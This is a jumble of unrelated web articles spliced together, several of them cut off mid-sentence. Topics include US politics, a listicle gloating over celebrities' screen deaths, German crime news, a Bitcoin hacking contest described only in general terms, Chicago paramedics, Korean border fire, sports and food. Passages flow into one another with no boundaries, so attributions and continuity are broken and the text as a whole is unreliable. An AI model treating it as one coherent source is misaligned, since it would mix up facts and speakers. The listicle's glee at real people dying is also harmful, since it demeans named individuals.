Interior Department controls vast parts of our Country and cannot be allowed to use federal lands for an extortion racket. Fire Zinke NOW. — Richard W. Painter (@RWPUSA) July 28, 2017
A spokesperson for the Interior Department’s Inspector General Office told Mother Jones it “does not have any plans to investigate the matter,” but would assess a complaint if and when it received one.
Late Thursday, Rep. Raúl M. Grijalva (D-Ariz.), the ranking Democrat on the House Natural Resources Committee, and Frank Pallone (D-N.J.), the ranking member of the House Energy and Commerce Committee, sent a pair of letters to the Government Accountability Office and the Interior’s Inspector General requesting investigations into whether Zinke and other administration officials are advocating for the Republican health care plan. The letters also request a formal determination regarding possible legal violations.
“Yesterday’s phone calls by Secretary Zinke occurred shortly after President Trump’s tweet expressing displeasure with Senator Murkowski, and just one day after DOE Secretary Perry generated concerns of impropriety with an editorial weighing in on the health care debate,” Pallone and Grijalva wrote in their letters. “The close timing of these actions suggests an apparent pattern and organized effort within the Trump Administration involving the use of federal resources to advance partisan legislation.”The only thing everyone in this world loves more than an Underdog Success Story is seeing a powerful,uncurbed villain get his commupance! Well, Its not Everytime a villain dies and you feel happy about it.There are times when the Stars of the movie(Not particularly a villain,A Sidecast….. Maybe) can’t help but drag their big and stupid personalities into every role,and When the killer instinctively breeds it out of them,The HUMANITY cheers!
So,Lets Decode The 3 most AWESOME celebrity deaths we enjoyed way too MUCH
Paris Hilton in HOUSE OF WAX
When Humanity turned against Paris Hilton,It wasn’t prepared for her to live so long.In the recent Years,She hasn’t done anything to redeem herself from the hatred but Its almost too much tiring to offer her any more attention.Still,The Passionviews Team decided to attend her! Queit hatred is still a Fatal form of HATRED.Each time she climbed out of her car without any Underpants,Or answered her phone during a Lame Sex,Or even Wept like a child in the back of a cop car,Everyone cried “REHAB!“But on the inside world was whispering a prayer that someone throw a Big stake through her face..and Guess who answered it…All Hail MAKERS of “HOUSE OF WAX“.
Tom Cruise in VALKYRIE
In 2008,Audiences Never Anticipated That they would see an American Made Movie,Set in the 1940’s with a German Hero.They also never Anticipated that they would cheer when that hero was shot in front of a Nazi’s Firing Squad towards the end of the film.Moreover,Valkyrie Created a Moral Conflict for the German Movie-Maniacs in particular because They were FORCED to choose which they hated more;NAZIS or TOM CRUISE….
“ScheiÃer!” “ScheiÃer!”
Not Many of You Might be knowing that Germany as a whole was unwilling to let Valkyrie Shoot at the Bender Block where the Actual Colonel Staufenberg was killed,Specifically because Of Tom Cruise’s Involvement in the movie.As Infuriated as They were to see Tom Cruise Portraying one of the Favourite German Heroes,They must have felt some Gratification in knowing that history demanded he be executed by the end of the film….
…..And WISH GRANTED!
Jennifer Lopez in JERSEY GIRL
When Jennifer Lopez Dies during a Child Birth in the First 15 minutes of the movie,I think Audiences are supposed to feel something like sadness,But After So many Years of Hearing Demands and Tantrums and Even General Entitlement,Its hard not to relax in the first few seconds after her Passing away…..
In a Bold Stretch of Artistic License,Jennifer Lopez Decided to make her last second of consciousness look like maybe she’s about to SNEEZE! The only thing I think could have made this scene Even More enjoyable is if the baby’s umbilical cord unexpectedly wrapped itself around her lame Husband”s neck in the Movie,ALSO known as BENAFFLECK….
…..And choked him to DEATH.
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Powered by Facebook CommentsIt wasn't long before the Twitter rumors were confirmed by a source to Scene this morning.Chuck Booms, who did his show on 92.3 The Fan this morning, was indeed fired by the station.That's all we got for now. When we hear more, we'll update here. We reached out to Booms and 92.3 management but haven't received a response yet.Know anything? Get in touch. vgrzegorek@clevescene.com: Program director Andy Roth confirmed and had this to say: "I can confirm we parted ways with Chuck. We wish him well and we'll announce his replacement in the near future."Here's what Chuck Booms had to say in a short conversation: "I'm shocked, and I'm sad, extremely sad. And most of all I'm sad for the fans of the show, because when you're a standup, the reason you get into it is because of the people that go and enjoy what you do. To have this happen, it's rough. I'm grateful for, basically, the four years we had, but this came way out of left field. But I'm an optimist. Onward and upward."In what universe is it reasonable for one individual to amass thousands of rounds of ammunition online without anyone so much as blinking an eye? In 2012,
received six deliveries from an online retailer - 6,000 rounds - in the weeks before the bloody massacre that left a dozen people dead and 58 wounded in a Colorado movie theater. The purchases were legal and aboveboard. The results, as we know now, were tragic.
(D-12) has introduced a bill designed to stop a future James Holmes from building a similar arsenal. It's a gutsy move by the rookie congresswoman, and we give her enormous credit for making gun safety a priority on her legislative roster. Watson Coleman's Stop Online Ammunition Sales Act of 2015 would require that federally licensed ammunition dealers confirm the identity of customers by verifying a photo identification card in person after a purchase is made. The measure would also require online sellers to report sales of more than 1,000 rounds in five consecutive days, passing along identification of the buyer to the U.S. Attorney General if the buyer is not a dealer. Announcing the bill at a news conference in Trenton last week, Watson Coleman said, "There are plenty of ways that we monitor the purchase of firearms, but when it comes to ammunition, regulation seems to stop." Some 30 of her fellow Democrats have signed on to the legislation, including U.S. Rep. Frank Pallone. Sadly, this isn't the first time Congress has tried to get a handle on unchecked online ammunition sales. Soon after the Aurora shootings, a similar bill introduced by New Jersey's late Sen. Frank Lautenberg and Rep. Carolyn McCarthy (D-NY) essentially went nowhere. Last year, the Brady Center to Prevent Gun Violence filed a lawsuit on behalf of parents of a young woman who died in Holmes's rampage, charging negligence on the part of several of the suppliers involved. "A crazed, homicidal killer should not be able to amass a military arsenal without showing his face or answering a single question, with the simple click of a mouse," said one of the Brady attorneys involved in the suit. Could Watson Coleman's bill have prevented the carnage? Gun-rights advocates tell us it didn't take James Holmes 6,000 rounds to inflict massive damage, and that the bill would create a nuisance for legitimate collectors and hobbyists. But if this NRA-controlled nation is going to make any improvements to its crazy quilt of gun safety regulations, we need to start somewhere. Thank you, Bonnie Watson Coleman, for leading us in the right direction.Köln -
Seit Mittwoch ist der Sex-Gangster (27) von Longerich Dauergesprächsthema in sozialen Netzwerken. Jetzt ist er gefasst!
Noch am Abend konnte er von Polizisten in Longerich festgenommen und zur Vernehmung gebracht werden.
Mann hatte sich selbst befriedigt
Nach EXPRESS-Informationen soll es sich um einen Perser handeln, der in einer Flüchtlingsunterkunft gemeldet ist. Er soll sich in mindestens drei Fällen vor Frauen entblößt und selbstbefriedigt haben. Zwei der Frauen (28, 41) haben Strafanzeige erstattet.
Der Täter war mit dem Fahrrad unterwegs. Facebook Foto:
Weitere Details zu dem Mann und seinen Beweggründen waren noch nicht in Erfahrung zu bringen. Die Polizei will sich im Laufe des Tages dazu äußern.
Nach Vernehmung wieder entlassen
Nach seiner Vernehmung wurde der Mann wieder entlassen. „Ermittlungen gegen ihn wurden eingeleitet. Da aber keine Haftgründe vorliegen, konnte er nach der Vernehmung wieder gehen”, sagte ein Polizeisprecher.news Let Us Prey
The commissary at Highfield Road Gospel Hall must have been fresh out of mind-your-own-business last night, because nine of God’s hand-picked mouthpieces allegedly found themselves outside of the home of a Leslieville gay couple, praying for the men’s unsolicited salvation.
Residents of the Dundas and Greenwood area stepped up in support of the unidentified targets, asking the holy rollers to move on and leave the neighbourhood in peace.
“We have an authority to preach the gospel,” claims one worshipper in a video clip (above) captured by nearby resident Geoffrey Skelding. “We’ve been doing this seven years.”
Though the church members didn’t explicitly admit that they had chosen that particular house because it housed a gay couple, Skelding says that many street residents are convinced that’s the reason, especially based on the church group’s history of door-to-door evangelism on the street.
“Talking with my neighbours, I learned that a lesbian couple left the area because of this group,” Skelding told Torontoist. “They do come to the area and knock on doors and tell people they are sinners.”
The congregation is based a few streets away at Dundas and Highfield, and has been worshipping in that location since November of 1934.
“You don’t know what love means,” admonishes a bystander in the video, after one of the church members vows to return “in the will of God.”
What makes this incident noteworthy is its context within Toronto’s relatively tolerant religious commixture: overzealous evangelism is uncommon here, and this type of interference is seen by many as a form of harassment. Torontonians are known for welcoming people of all beliefs into the cultural fabric, but we’re also protective of our citizens’ right to live in peace.
And for that, can we get an Amen?
Thanks to reader Yasmary Mora for the tip.Boobs are bad. Boobs are an "offense to God." Boobs are "harmful to marriage." Boobs should be banned, because boobs are associated with gay pride. All this according to an anti-abortion Ohio pastor, who would like to see his state outlaw any and all public nudity for the sake of morality and godliness.
Dr. Patrick Johnston, director of the anti-abortion group Personhood Ohio, has made a public plea for the people of his state to urge their legislators to pass a ban on "all public nudity" in Ohio, regardless of what legal, practical purpose (personal expression, nursing an infant) that nudity might serve. Johnston's call comes within weeks of a topless protest outside his fundamentalist church, New Beginnings Ministries, which allegedly spent the better part of nine years harassing and slut-shaming employees at a nearby strip club.
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"I am sick that women can legally bare their breasts to children and to married men against their will in Ohio," Johnston posted on his Facebook page following the recent protest. And, in an interview with WSYX, he added, "I think when we allow women to flaunt their sexuality to the public, flaunt their nudity to the public, it's harmful to marriage.... I think what [the bare-breasted protestors] did was an offense to God, was an offense to the public morality, and the legislature should act to criminalize what they did."
But Johnston's proposed ban wouldn't simply criminalize topless protests; it would outlaw nudity for the sake of breastfeeding as well. As the community group Aiken Area Progressive notes in a blog post on Johnston's ban, such a measure would make Ohio the only state where nursing is illegal. "This is a no-exceptions ban that if enacted, will drop the number of states to 49 in which breastfeeding is legal, and, if enacted, this definitely will violate numerous Constitutional amendments, including the First, 13th and 14th amendments," the group writes. "We strongly urge Ohioans to contact their lawmakers and tell them to oppose any attempt to ban public nudity and instead demand that state legislators exempt nudity from Ohio indecent exposure laws."
(h/t Raw Story)"The president looked and sounded like the leader he is," said White House spokeswoman Hope Hicks, who declined further comment on Trump's wardrobe or whether this sleeker version is the beginning of a new phase.
For presidents, looking the part can be an irritating battle. Former President Barack Obama's closet selection was roundly panned on the few occasions he wore a tan suit, generally in warmer months. One outraged Republican congressman from New York, Peter King, went so far as to call him out, deriding the choice for a "lack of seriousness."
The Sloppy President
Trump too has drawn criticism for dressing sloppy and for looking unkempt. The Washington Post called him out for wearing giant, boxy suits that don't fit. Jezebel said that, while Trump buys suits from masterful tailors, he can "never quite pull them off." Business Insider declared the length of his neckties, which often break fashion code by hanging far below the belt, a "tragic mistake."
Has a new era begun, or was trimmer Trump a one-time thing? Here's a breakdown of his makeover, as seen last night.
The ensemble
The suit Trump wore was a dark navy, one of the most formal colours, and a better fit than usual. With the navy tie, the combination exuded seriousness.
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The suit jacket
He also ditched the overlong, flowing jacket for a more modern silhouette that gave him appropriate proportions, said Joseph Abboud, the fashion designer and chief creative director of Tailored Brands. (Abboud once dressed Obama when he ran suitmaker Hart Schaffner Marx.)
The button
Then there's the button. Trump has rarely buttoned his suit jacket in the past, a decision that signals a casual atmosphere or that you're about to sit down. But this time he did it up while speaking before the nation's lawmakers – as one does.
The tie
As for the tie, Trump has stuck with that shiny, fire-engine red number for years. He stuck with solid red ties at his most important speeches – his inauguration, before the Conservative Political Action Conference, during his first press conference as president, and at some of his biggest rallies. But Abboud said that chunky red cloth "feels passé," a relic of swaggering Manhattan money men from the 1980s. "I'm glad he wasn't wearing that," he said.
Last night wasn't the first time Trump has worn a striped navy tie. He donned one when addressing the Central Intelligence Agency and while announcing Neil Gorsuch as his pick from the U.S. Supreme Court.
Trump's infamous tie situation seems to have been rectified. Evan Vucci
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Small hands, small improvements
John Ballay, chief executive of custom menswear service Knot Standard, whose suits were worn by Donald Trump Jr. and Eric Trump for the inauguration, said their father had a "superior look" this time. The sleeve lengths on his jacket and shirt were balanced and he showed the right amount of cuff, Ballay said.
"This was a step in the right direction in terms of appearance," added Abboud. "We want our presidents to be presidential but also look presidential. I think he looked more presidential last night than we've seen in the last 18 months."
Has Trump sought the advice of a stylist? Jim Lo Scalzo
A well-proportioned sleeve can make tiny hands look normal. Andrew Harrer
BloombergThe Lakers have gone from the leadership of a zen master to the guidance of a dragon master. The new coach of the Lakers recently revealed his life-long love of Dungeons & Dragons, the game which helped launch the role-playing game industry of today.
Brown told Lee Jenkins of Sports Illustrated he was the Dungeon Master for D&D games with his buddies while attending Sabin Middle School in Colorado Springs, Colo. Jenkins reports Brown, with perfect penmanship, wrote all the strategies and character descriptions in the Dungeons & Dragons game for his friends, since he felt his buddies' handwriting was a disgrace. That's not all: Once he put together a game board out of plexiglass, using rulers and pennies to form combat zones. When new D&D game modules were sent in the mail, Brown sprinted up to his bedroom to read the entire handbook and take detailed notes -- making his friends wait for hours in the basement.
Despite now being 41 years old and a successful NBA coach, Brown remains loyal to his inner geekdom, still playing D & D with his 14-year-old son, Cameron. And yes, he bellyaches about his son's writing skills.
After being fired as Cavs coach in 2010, Brown worked as a volunteer assistant football coach for Cameron's middle school team in Westlake, Ohio.
Brown gets his perfectionist mindset from his father, Bobby, who proudly served the United States for 24 years in the Air Force.
Jenkins notes the Lakers coach has some other odd quirks. Don't expect a LOL or G2G on your phone if you become friends with him; he has a strong dislike for sending text messages featuring abbreviations. Brown always signs his full name, although that's starting to change somewhat. "I've gotten to a point where I can sometimes put 'M.B.'," Brown told Sports Illustrated.
Brown still owns a Denver Nuggets jersey from franchise legend Alex English; the coach received it as a gift from his parents more than 25 years ago, and the sports memorabilia looks like it was just made yesterday. The Lakers coach never sliced off the tags.
Unlike many NBA head coaches, Brown never played professional basketball. His Air Force dad had to move the family to Wurzburg, Germany just before Brown's freshman year of high school in Colorado Springs. Brown didn't win any MVP awards in Germany, but he was voted Best Dressed as a senior.
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A 1992 graduate of the University of San Diego, with a degree in business, Brown learned the pro game under Spurs coach Gregg Popovich and was named NBA coach of the year for the 2008-09 season. He's got a 273-140 (.661) record in 413 games combined with the Cavs and Lakers. In the playoffs, Brown was 42-29 (.592) with Cleveland.
Mike Brown said all the right things about the Lakers at his introductory press conference.
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-- The Unbelievable 4-Minute Cardio WorkoutDr. Kelsey Martin joined the medical school’s faculty in 1999, and has served in various leadership roles including as interim dean since September 2015.
Dr. Kelsey Martin, a neuroscientist and senior administrator, has been named dean of the David Geffen School of Medicine at UCLA.
Martin, who was inspired to pursue a medical career by her experience as a Peace Corps volunteer, joined the medical school’s faculty in 1999, and has served in various leadership roles including as interim dean since September 2015.
In an announcement to the campus community, Executive Vice Chancellor and Provost Scott Waugh said Martin, who was chosen after a national search, “has demonstrated outstanding leadership, inspired and impactful scholarship, and keen knowledge of the intricacies of academic health care.”
Dr. John Mazziotta, vice chancellor for health sciences and CEO of UCLA Health, said “Dr. Martin is an esteemed scholar, effective administrator and skilled communicator who is extraordinarily well-qualified to continue the medical school’s trajectory as an international leader in medical education, research, patient care and community service. As interim dean and in other leadership positions, Kelsey has articulated her vision clearly to faculty, administrators, students and the community, and forged strong partnerships to deliver results that serve the public.”
The medical school has more than 700 students training to be physicians and approximately 2,700 full-time faculty, 1,000 medical residents and 400 Ph.D. candidates. Its robust research program produces medical breakthroughs that advance patient care and consistently ranks among the best in the nation in the value of funding generated. Faculty and medical residents provide patient care at UCLA Health hospitals in Westwood and Santa Monica and in clinics throughout Southern California.
As dean, Martin will provide the medical school’s overall strategic vision, conceive and manage policies and programs, and allocate resources to achieve results.
“I am thrilled to serve in a position where I am surrounded by extraordinarily talented faculty, physicians-in-training and graduate students and postdoctoral fellows in the biomedical sciences who share my passion for the humanistic and scholarly mission of the Geffen School of Medicine,” Martin said. “It is an honor and privilege to lead an institution committed to serving society in such a powerful way.”
Martin earned an undergraduate degree in English and American language and literature from Harvard University before serving as a Peace Corps volunteer in the Democratic Republic of Congo (known as Zaire when she was there). She helped lead disease-prevention and health efforts in remote villages, wrote grants to fund measles vaccinations and organized outreach programs.
The experience sparked an interest in medicine, and Martin went on to pursue a medical degree and a doctorate degree at Yale University, where she studied molecular biophysics and biochemistry. She completed postdoctoral training in neurobiology at Columbia University, working in the lab of Dr. Eric Kandel, who won a Nobel Prize for his work on memory formation — the field that became the focus of Martin’s research.
At UCLA, Martin is a professor of biological chemistry and of psychiatry and biobehavioral sciences. She is the principal investigator of a molecular neurobiology laboratory that integrates cell biological, molecular and electrophysiological approaches to understand how the brain stores memories. The research lab has received continuous funding from the National Institutes of Health since 1999.
Martin has served as chair of the department of biological chemistry and as co-director of the UCLA–Caltech Medical Scientist Training Program. She has been a leader in UCLA’s efforts to encourage cooperation on brain-related research among scientists from various disciplines.
Prior to being named interim dean, she served as executive vice dean and associate vice chancellor for UCLA Health Sciences.
Martin has been elected to the American Academy of Arts and Sciences. Among other recognition, she received the W.M. Keck Foundation Distinguished Young Scholar in Medical Research Program Award, the Jordi Folch–Pi Award from the American Society for Neurochemistry, and the Daniel X. Freedman Award from the National Alliance for Research on Schizophrenia and Depression.A Melbourne penetrator tester has run a capture the flag event giving away Bitcoins to those who beat web application challenges.
The contest was the brainchild of Securus Global consultant Luke Jahnke who was exploring Server Side Includes (SSI) injection.
The May contest received 6652 unique IP address hits with about 50 from Tor relays.
Users raced to grab a single Bitcoin key contained in an environmental variable in the Apache httpd process after completing four challenges.
A further Bitcoin key went out to the single user who attained command execution on the server.
The first three levels presented users with manual SQL injection exploitation challenges. Of the 4123 users who attempted the first level, only 101 passed to the next stage and 53 to the third, Jahnke said at Ruxmon on Friday.
Twenty three users made the final SSI injection challenge and only one owned the server to make off with the last Bitcoin.
SSI risks were commonly overlooked, Jahnke said.
He will launch another Bitcoin challenge in August with larger prizes, he said.The bosses at the Chicago Fire Department have just issued a particularly stupid and dangerous order:
Chicago paramedics can't protect themselves by wearing bulletproof vests outside their uniform shirts, a policy that makes them all but unwearable.
The city has been lucky in that no paramedic has been shot in the night violence of deadly neighborhoods. But the foolish order from Deputy Fire Department Commissioner John McNicholas is final.
No vest.
Paramedics pay for their vests out of their own pockets. And still, McNicholas' order stands, the department said on Wednesday.
"So they've given me a direct order, no vest," said Patrick Fitzmaurice, a paramedic field chief who supervises 10 ambulances each night on the ultraviolent West Side, driving alone, many times first to the scene of anger and blood and guns.
"And I'm thinking, are they crazy? No vest? On the West Side? We just had a job the other night, three people pull up, in a car, all three are shot. And they have guns. The police were rolling, looking for them. And they're armed. One was already dead.
"People get crazy out there when their emotions are up, it's volatile. So if I catch a bullet, then which one of these bureaucrat bosses are going to stand up at the wake and tell my wife?"
Paramedics aren't called to attend garden parties. They're called when hell breaks loose, and the guns and knives come out.
But no vest outside the shirt.
It isn't a matter of style. It's a matter of time and efficiency. Paramedics can rush from a street shooting to a fire. Under the new policy, they would be forced to waste valuable time taking off the shirt and the vest and putting the shirt back on before donning the heavy fire coats required at a fire scene.
It is an extremely dangerous policy, not to mention astoundingly asinine public relations.
And it now falls into Mayor Rahm Emanuel's lap. He doesn't deserve this. Emanuel is a smart politician. There is no way I'd ever believe he had anything to do with this nonsense.
Phil Velasquez, Chicago Tribune Chicago Fire Department paramedic Patrick Fitzmaurice was told by top brass that he couldn't wear a bulletproof vest on dangerous assignments. Chicago Fire Department paramedic Patrick Fitzmaurice was told by top brass that he couldn't wear a bulletproof vest on dangerous assignments. (Phil Velasquez, Chicago Tribune) (Phil Velasquez, Chicago Tribune)
But he's the mayor. And he'll wear the jacket if something bad happens as a result of McNicholas' foolishness. I'm sure they'll have a nice talk after Rahm reads this.
I'll tell you more about Pat Fitzmaurice, a tough Northwest Side Irishman who's spent almost 40 years working for the CFD, the last five or so driving the West Side alone.
But first, this:
During Emanuel's mayoral campaign with Cook County Commissioner Jesus "Chuy" Garcia, there was a gruff-talking Irish guy who cut TV spots for Chuy.
He looked like a boxer and talked like he'd been punched a few times in the throat.
Who was he? Pat Fitzmaurice.
"I've been wearing the vest for years outside my shirt," said Fitzmaurice. "McNicholas has seen it. Even the mayor. During the campaign, after I did the commercials for Chuy, he stopped at a firehouse I was at. He saw me, walked over to me, and shook my hand. I don't think the mayor would have anything to do with this nonsense."
A few years ago, on a hot night around Father's Day, Fitzmaurice pulled over on Cicero and Harrison to complete some paperwork.
"I heard the sound of gunfire. I'm thinking, gunfire or fireworks. Then I hear on the radio they're requesting an ambulance at my location.
"I say, 'I'm right here. I don't see anybody.' Next thing I know, a girl bangs on my window, saying, 'I'm shot, I'm shot.' Where? Not 4 feet from where I was sitting."
He paid about $1,200 for his vest.
"Police told me it was money well spent," Fitzmaurice said. "The one thing they said was never take it off."
In a statement, the CFD said the department does not issue bulletproof vests and they are not authorized as outerwear.
"The vest in question is a tactical style vest that makes the wearer look like a police officer in tactical gear," the statement said, confirming that the order came from Deputy Commissioner McNicholas.
What color would the Fire Department prefer? Hot fuchsia? Leopard-skin print?
"It should be clear that nothing in our guidelines or in the order from the deputy forbids the use of a so-called bulletproof vest. What is strictly controlled is that which is worn OVER the uniform."
Peter Houlihan is the Emergency Medical Services director for Chicago Firefighters Union Local 2. He said Wednesday that the union has brought up the issue for years, only to be rebuffed.
"It's kind of like when we get on a scene, we're underdressed," Houlihan said. "Things happen. We're thrown into the middle of a situation where the police are not on the scene. We wish the department would make this as optional wear for members."
Fitzmaurice told me, "If I catch a round in my big Irish head, it is what it is, put my rosary beads in my hands and off I go.
"But in the back, in the chest. It's crazy. Why are you stopping me?"
That's the answer Mayor Emanuel should be getting from his Fire Department — before something bad happens.
jskass@tribpub.com
Twitter @John_KassCLOSE South and North Korea exchange cross-border fire amid rising tensions over military exercises and threatened nuclear tests. Video provided by Reuters Newslook
A U.S. Marine, left, and a South Korean soldier participate in a joint landing operation. (Photo: Jung Yeon-Je, AFP/Getty Images)
A barrage of artillery fire between North and South Korea across disputed maritime borders on Monday marked an annual show of force by North Korea intent on sending a message to the U.S. as it conducts military exercises nearby.
North Korea's missile launches into the Yellow (West) Sea followed by a threat of live-fire drills along the border "was really aimed at our policymakers, Republic of Korea policymakers and Japan," said Bruce Bechtol, a Korea specialist and professor of political science at Angelo State University in Texas.
"North Korea is saying, 'You can do all the exercises you want and we have the ability to hit you at a moment's notice,'" Bechtol said.
The U.S. and South Korea routinely conduct joint military exercises in the border areas, usually each year in February and March. The most recent exercise began March 27.
The North Koreans said they believe the exercises are meant to intimidate them and often react with some show of force, Bechtol said.
North Korea fired more than 500 rounds of artillery shells over three hours, forcing some residents of South Korean islands to seek shelter in bunkers, South Korean Defense Ministry spokesman Kim Min-seok said.
Last week, North Korea launched Rodong ballistic missiles, which have the range to hit Tokyo or U.S. bases in Okinawa, Japan. Those launches drew condemnation from the United Nations Security Council on Friday.
South Korea responded to the rocket launches on Monday by scrambling F-15K fighter jets and lobbing 300 shells into North Korean waters.
"This is always a dangerous time of year on the peninsula," said Joel Wit, a senior fellow at the U.S. Korea Institute at Johns Hopkins School of Advanced International Studies. "There's a danger here that it may get worse."
Firing rounds into South Korea's territorial water goes beyond North Korea's usual responses. North Korea fired into the water to avoid casualties but still mark its territory and show its willingness to respond with force, Bechtol said.
"This is just short of a violent provocation," Bechtol said. "The intention this time is to stir the pot. "
North Korea, in a statement published by the state news agency, called the drills necessary self-defense "to cope with the grave situation created by the U.S. hostile policy."
The country said it would respond with its own drills, including missiles aimed at "medium and long-rang targets with a variety of striking power," and would consider a fourth nuclear test.
North Korea "is fully ready for next-stage steps which the enemy can hardly imagine in case the U.S. considers them as a 'provocation' again," the statement said. "It would not rule out a new form of nuclear test for bolstering up its nuclear deterrence. The U.S. had better ponder over this and stop acting rashly."
North and South Korea have skirmished over the disputed sea boundary before. In 2010, a torpedo attack sank a South Korean warship, killing 46 sailors. Later that year, North Korean artillery killed four people living on an island.
Follow @DonnaLeinwand on Twitter.
Read or Share this story: http://usat.ly/1gi0036Robbie Whittaker could be in line for a shot at the world middleweight title in Australia as a result of taking apart Ronaldo 'Jacare' Souza in his latest fight, when he stopped the MMA legend in the second round.
UFC President Dana White dropped the bombshell when he said on Fox Sports Australia's UFC Fight Week that he would "love to be doing the middleweight world title back in Australia".
"How crazy you think that would be?"
Having won his past seven UFC fights, dating back to June 28, 2014, Whittaker sits at No. 3 in the middleweight rankings.
Robbie Whitaker (Photo by Jeff Bottari/Zuffa LLC/Zuffa LLC via Getty Images)
"The guy's an absolute stud," White told Fox Sports.
Whittaker called out middleweight champion Michael Bisping, during his in-ring post fight interview after beating Souza, saying the World No. 1 from England "owes me a fight".
"We were supposed to fight all those weeks ago and he's cool doing his own thing, but you owe me a fight," Whitaker said.
Now it seems that dream may now be closer than ever.
Editor's Picks Robbie Whittaker claims career-defining victory The New Zealand-born Aussie defeated Souza with a barrage of punches in the second round to send a jolt through the middleweight division.
How Aussie Whittaker manages the UFC 'fear' Despite 21 professional fights, fear remains a stark reality for Australian MMA star Robbie Whittaker. But with each bout comes experience and the ability to better manage it, he tells ESPN. 1 Related
"That kid's got absolute destructional power in both of his hands," White told Fox Sports.
"When this guy starts punching, man, you're in big trouble. He looked great, and he's a super good guy. He has all the tools to be the first world champion out of Australia, in the UFC."
Whitaker told ESPN exclusively before his fight with Souza that the UFC middleweight title would "mean everything"
"It will mean the result of a long, hard journey."Follow These Funny Ladies:
Stephanie McRae:
Watch Stephanie’s comedy on YouTube.
Nichelle Stephens:
Follow Nichelle on Twitter @niche, where she’s sure to be live tweeting your favorite shows and follow her other blog @CupcakeBlog Also, check out Chicks & Giggles!
Hadiyah Robinson:
She’s going on the road with the fabulously funny Erica Watson this summer across the U.S. hitting every clubs, bars and baby showers. Please follow them on @ThatRoadLife on Twitter, Instagram and YouTube.
Maryssa Smith:
Check out Maryssa’s shows. She produces two monthly shows, Fashionably Funny at Broadway Comedy Club and Merriment and Mortification at Otto’s Shrunken Head.
Phoebe Robinson:
Catch Phoebe on “Late Night With Seth Meyers” and follow her on Twitter @PRobinsonComedy.
Yamaneika Saunders:
Watch Yamaneika on Oxygen’s new show, “Funny Girls,” premiering April 7th. Also, follow her on Twitter @Yamaneika!
Chloe Hilliard:
Follow Chloe on Instagram & Twitter @Chloe_Hilliard and go see her headline live at Caroline’s on April 28th!
Akilah Hughes:
Check out Akilah on YouTube & follow her on social media!
Loni Love:
Catch her on “The Real” or on her stand up comedy tour!
Del Harrison:
Follow Del on Twitter and catch her on a new TV show that she can’t tell us about quite yet!
1. Stephanie McRae: “Black women are funny, smart & charismatic! “The toughest part about doing comedy as a Black woman is doing comedy as a Black woman. There’s been plenty of times I was bumped from major shows that I was scheduled to be on because a more seasoned male comic just showed up. ” McRae says. “Being a woman does play a big part in the gigs I get or don’t get.” McRae says comedy is about truth & she gets to bring hers and “that’s where the funny is!”
2. Nichelle Stephens: “Women in comedy often don’t get the big paying hosting gigs or even more important, the writing jobs.” Source:Nichelle Stephens “Black comics are often underestimated for their writing skills when it comes to tv and screenwriting.” Nichelle says there’s “only one |
imagine 50 five-years-olds in a class? They are only supposed to have 15 to 20.”
“This is happening because they are closing so many neighborhood schools,” continued Myshiara. “They close their schools and then the kids crowd into another school. It is not good for anyone.”
“I will definitely support your campaign,” said Myshiara. “Something has to be done about these conditions. It is bad and getting worse.”
Both said they had hoped President Obama would make a difference and improve the conditions facing workers.
“It is not going to happen,” D’Artagnan Collier said to the young workers. “It is not going to change until the working people, and that is all of us, organize ourselves against both big business political parties.”
Collier pointed out that Dave Bing, the mayor of Detroit, and Anthony Earley, the CEO of DTE Energy who is responsible for the high utility bills and rampant shutoffs, are both Democrats.
“We are in this election to unite the working class in the fight for a socialist program that says working people have to fight for their rights,” continued Collier. “It is not going to change in any other way.”
Both Myshiara and Syreeta said they would speak to their professors to see if they could have Collier speak at their school.
Trina Files
Trina Files, who spoke to Collier at the free food distribution organized by local charity the Geraldine Ellison Foundation, recounted the difficulties of making ends meet and not being able to find a job.
“It is really hard. I have been laid off for over a year. We need someone to help us,” said Trina, who worked at Joe Louis Arena in Detroit for 12 years before she was dismissed.
“They laid me off because my pay scale was going up and they wanted to pay someone else a cheaper wage,” said Trina. “I was at the top of the pay scale, so they got rid of me.”
Trina said she had never been in a situation like this before and was struggling just to pay her bills. “I have to choose between food and utility bills,” she said. “With so little money coming in, I just can’t do it. I pay what I can.”
Trina took the election material and said she would carefully read over the Socialist Equality Party’s program. “We need help,” she said. “No one is speaking for us who are unemployed. I agree that everyone should have the right to a job.”
D’Artagnan Collier with Jonathan Ellison, founder of the Geraldine Ellison Foundation, to provide food for the needy
Jonathan Ellison, one of the founders of the Ellison charity, told Collier they were preparing to hand out 500 bags of groceries that day.
“It is estimated that 42 percent of Michigan families are in need of food,” stated Ellison. “People are balancing dwindling funds so they have to choose to either buy food or medicine or pay a car note. We decided to do something about food because it is so difficult for so many people.”
“This is a serious crisis,” Ellison continued. “A lot of people don’t know what to do. You can even see the difference between this year and last year. I’m an electrician. And while I am doing better than most people, it is hard even for me to make ends meet.”
The poverty rate in Detroit, based information obtained in 2009, is now officially 36.4 percent, up from 33.8 percent in 2008. For children under 18, more than one in two fell below the official poverty rate, 50.8 percent.
The growth in poverty in Detroit is a striking manifestation of a far broader process. For the US as a whole, 14.3 percent of the population, or some 44 million people, are officially categorized as poor, an increase of 3.8 million over 2008. In Michigan the poverty rate increased to 16.2 percent from 14.4 percent in 2008, up by 1.6 million people.
The census data is in fact already out of date since it is based on information gathered a year ago. It is also well known that the poverty rate is vastly understated, based on a formula established 50 years ago when food was the main cost factor in a family budget and women were a much smaller part of the workforce.More Info
Ahh Italian chocolate! Much like other European countries, Italy is home to some of the largest confectionery companies in the world today. In fact, according to historical facts, chocolate has been produced in the Piemonte region for over three centuries, ever since the Duke of Savoy brought the delicious cacao product to Turin, Italy all the way from the New World. No wonder the oldest confectionery company in Italy today is the House of Savoy in Turin, which got their permission to open their first Italian chocolate house during the 17th century.
Then at the start of the 1800s, a citizen from Turin name Bozelli was able to invent a machine to mix vanilla and sugar with cocoa paste, and the city became a hub for developing new techniques in chocolate making and preparation. It also became one of the important exporters of Italian chocolate to other European cities. Now that you know a little bit of history about his delicious treat, serve yourself below!Scientists Get A New Look At Einstein's Brain
Albert Einstein was a smart guy. Everybody knows that. But was there something about the structure of his brain that made it special?
Scientists have been trying to answer that question ever since his death. Previously unpublished photographs of Einstein's brain taken soon after he died were analyzed last week in the journal Brain. The images and the paper provide a more complete anatomical picture and may help shed light on his genius.
Enlarge this image toggle caption Miguel Medina/AFP/Getty Images Miguel Medina/AFP/Getty Images
